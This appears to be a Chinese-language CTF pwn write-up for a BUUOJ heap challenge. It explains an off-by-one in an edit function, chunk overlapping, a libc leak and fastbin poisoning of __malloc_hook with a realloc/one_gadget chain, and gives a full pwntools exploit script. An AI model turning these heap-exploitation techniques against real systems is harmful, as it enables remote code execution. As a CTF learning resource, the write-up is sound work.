漏洞点
利用edit函数,选择修改size时,如果这个size比原来的size大10,那么就会比原来的size多一字节的范围,所以性相当于一个off-by-one。没有UAF
思路
那么思路就是利用这个off-by-one来构造堆块覆盖向后overlapping
第一个堆块利用off-by-one修改size为0xd1,这样就把chunk3和chunk4覆盖了。申请一个小堆块,让unsortedbin的fd和bk覆盖到chunk3的fd位置,然后泄露Libc。
再将0x71这个chunk释放到fastbins中
接着将剩余的unsortedbin全部申请出来,利用这个chunk修改chunk4也就是size为0x71这个堆块的fd,让这个fd指向__malloc_hook
部分,这样申请两次0x60,就能申请到能控制到__malloc_hook
。然后修改onegadget即可。
但是由于所有onegadget都不行,那么就需要满足onegadget的利用条件
那么就需要利用realloc函数开头的push一堆栈操作来调整栈帧。
所以需要覆盖__malloc_hook
为realloc+offset,然后覆盖__realloc_hook
为onegadget。__realloc_hook
的位置就在__malloc_hook
-0x8。
1
| edit(6,27,'a'*0xb+p64(libc_addr+onegadget[1])+p64(realloc+0x2))
|
execve的第二个参数就是rsp
完整exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91
| from pwn import * from ctypes import * from libcfind import * from LibcSearcher import* import base64 import sys context(os='linux', arch='amd64', log_level='debug') context.terminal = ["tmux","splitw","-h"] debug = 1 if debug: p = process('./pwn') elf = ELF('./pwn') else: p = remote('node5.buuoj.cn', 29005) elf = ELF('./pwn')
s = lambda data: p.send(data) sa = lambda text, data: p.sendafter(text, data) sl = lambda data: p.sendline(data) sla = lambda text, data: p.sendlineafter(text, data) r = lambda num=4096: p.recv(num) rl = lambda text: p.recvuntil(text) pr = lambda num=4096: sys.stdout.write(p.recv(num)) inter = lambda: p.interactive() l32 = lambda: u32(p.recvuntil('\xf7')[-4:].ljust(4,'\x00')) l64 = lambda: u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) uu32 = lambda: u32(p.recv(4).ljust(4, '\x00')) uu64 = lambda: u64(p.recv(6).ljust(8, '\x00')) int16 = lambda data: int(data, 16) lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
libc = ELF('./libc-2.23.so')
def add(size): rl("choice: ") sl('1') rl("size: ") sl(str(size))
def edit(index,size,content): rl("choice: ") sl('2') rl("index: ") sl(str(index)) rl("size: ") sl(str(size)) rl("content: ") sl(content) def delete(index): rl("choice: ") sl('3') rl("index: ") sl(str(index)) def show(index): rl("choice: ") sl('4') rl("index: ") sl(str(index))
gdb.attach(p) add(0x18) add(0x20) add(0x20) add(0x60) add(0x10) edit(0,0x18+10,'a'*0x18+'\xd1') pause() delete(1) pause() add(0x20)
show(2) leak_addr = l64() libc_addr = leak_addr - 0x3c4b78 lg('libc_addr',libc_addr)
malloc_hook = libc_addr + libc.sym['__malloc_hook'] realloc = libc_addr + libc.sym['realloc'] delete(3) add(0x90) edit(3,0x38,p64(0)*5+p64(0x71)+p64(malloc_hook-0x23)) pause() add(0x60) add(0x60) onegadget = [0x45226,0x4527a,0xf03a4,0xf1247] edit(6,27,'a'*0xb+p64(libc_addr+onegadget[1])+p64(realloc+0x2)) pause() add(0x10) inter()
|